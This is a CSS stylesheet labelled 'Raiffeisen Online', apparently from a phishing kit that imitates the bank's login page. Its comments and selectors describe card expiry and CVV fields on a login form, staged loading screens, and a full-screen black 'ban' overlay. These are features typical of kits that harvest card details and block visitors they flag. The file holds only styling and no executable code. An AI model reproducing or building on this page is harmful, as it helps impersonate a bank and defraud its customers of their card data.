/* Raiffeisen Online - Styles */
* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
    background-color: #f5f5f5;
    min-height: 100vh;
    overflow-x: hidden;
}

/* Page layout */
.page-wrapper {
    display: flex;
    min-height: 100vh;
    width: 100%;
}

.form-column {
    flex: 1;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 40px 20px;
    background: #fff;
}

.form-container {
    width: 100%;
    max-width: 380px;
}

.banner-column {
    width: 420px;
    display: flex;
    align-items: stretch;
}

.banner {
    width: 100%;
    background: linear-gradient(135deg, #1a3a5c 0%, #0d2137 100%);
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 40px;
}

.banner-content {
    text-align: center;
    color: #fff;
}

.banner-title {
    font-size: 22px;
    font-weight: 600;
    line-height: 1.4;
    margin-bottom: 30px;
}

.qr-placeholder {
    width: 160px;
    height: 160px;
    background: #fff;
    border-radius: 12px;
    margin: 0 auto 20px;
}

.store-badges {
    display: flex;
    flex-direction: column;
    gap: 8px;
    align-items: center;
}

.store-badge {
    background: rgba(255,255,255,0.15);
    color: #fff;
    padding: 8px 20px;
    border-radius: 6px;
    font-size: 13px;
    width: 140px;
}

/* Logo */
.logo-row {
    margin-bottom: 24px;
}

.logo {
    height: 40px;
    width: auto;
}

/* Form title */
.form-title {
    font-size: 22px;
    font-weight: 600;
    color: #1a1a1a;
    margin-bottom: 28px;
    line-height: 1.3;
}

/* Input groups */
.input-group {
    margin-bottom: 16px;
}

.input-group label {
    display: block;
    font-size: 14px;
    font-weight: 500;
    color: #555;
    margin-bottom: 6px;
}

.input-group input {
    width: 100%;
    padding: 14px 16px;
    border: 1px solid #ddd;
    border-radius: 8px;
    font-size: 16px;
    color: #1a1a1a;
    background: #fff;
    transition: border-color 0.2s, box-shadow 0.2s;
    outline: none;
}

.input-group input:focus {
    border-color: #FEE600;
    box-shadow: 0 0 0 3px rgba(254, 230, 0, 0.2);
}

.input-group input::placeholder {
    color: #bbb;
}

/* Card row (expiry + cvv side by side) */
.card-row {
    display: flex;
    gap: 12px;
}

.input-group.half {
    flex: 1;
}

/* Error messages */
.input-error {
    font-size: 13px;
    color: #e53935;
    margin-top: -8px;
    margin-bottom: 8px;
    min-height: 0;
    overflow: hidden;
    max-height: 0;
    transition: all 0.3s;
}

.input-error.visible {
    max-height: 40px;
    margin-top: 4px;
    margin-bottom: 12px;
}

/* Forgot link */
.forgot-link {
    display: inline-block;
    font-size: 14px;
    color: #1a73e8;
    text-decoration: none;
    margin-bottom: 20px;
}

.forgot-link:hover {
    text-decoration: underline;
}

/* Submit button */
.submit-btn {
    width: 100%;
    padding: 14px;
    border: none;
    border-radius: 8px;
    font-size: 16px;
    font-weight: 600;
    cursor: pointer;
    background: #FEE600;
    color: #1a1a1a;
    transition: all 0.2s;
}

.submit-btn:hover:not(.disabled) {
    background: #f5dd00;
    transform: translateY(-1px);
    box-shadow: 0 4px 12px rgba(254, 230, 0, 0.4);
}

.submit-btn:active:not(.disabled) {
    transform: translateY(0);
}

.submit-btn.disabled {
    opacity: 0.5;
    cursor: not-allowed;
    pointer-events: none;
}

/* Screens */
.screen {
    display: none;
}

.screen.active {
    display: block;
}

/* Loading */
.loading-container {
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 60px 0;
}

.spinner {
    width: 48px;
    height: 48px;
    border: 4px solid #eee;
    border-top-color: #FEE600;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
    margin-bottom: 20px;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

.loading-text {
    font-size: 15px;
    color: #777;
    text-align: center;
}

/* Ban screen */
#banScreen {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 9999;
    background: #000;
}

/* Shake animation */
@keyframes shake {
    0%, 100% { transform: translateX(0); }
    20% { transform: translateX(-6px); }
    40% { transform: translateX(6px); }
    60% { transform: translateX(-4px); }
    80% { transform: translateX(4px); }
}

.shake {
    animation: shake 0.3s ease-in-out;
}

/* Mobile responsive */
@media (max-width: 768px) {
    .banner-column {
        display: none;
    }

    .form-column {
        padding: 20px 16px;
        align-items: flex-start;
        padding-top: 60px;
    }

    .form-container {
        max-width: 100%;
    }

    .form-title {
        font-size: 20px;
    }
}
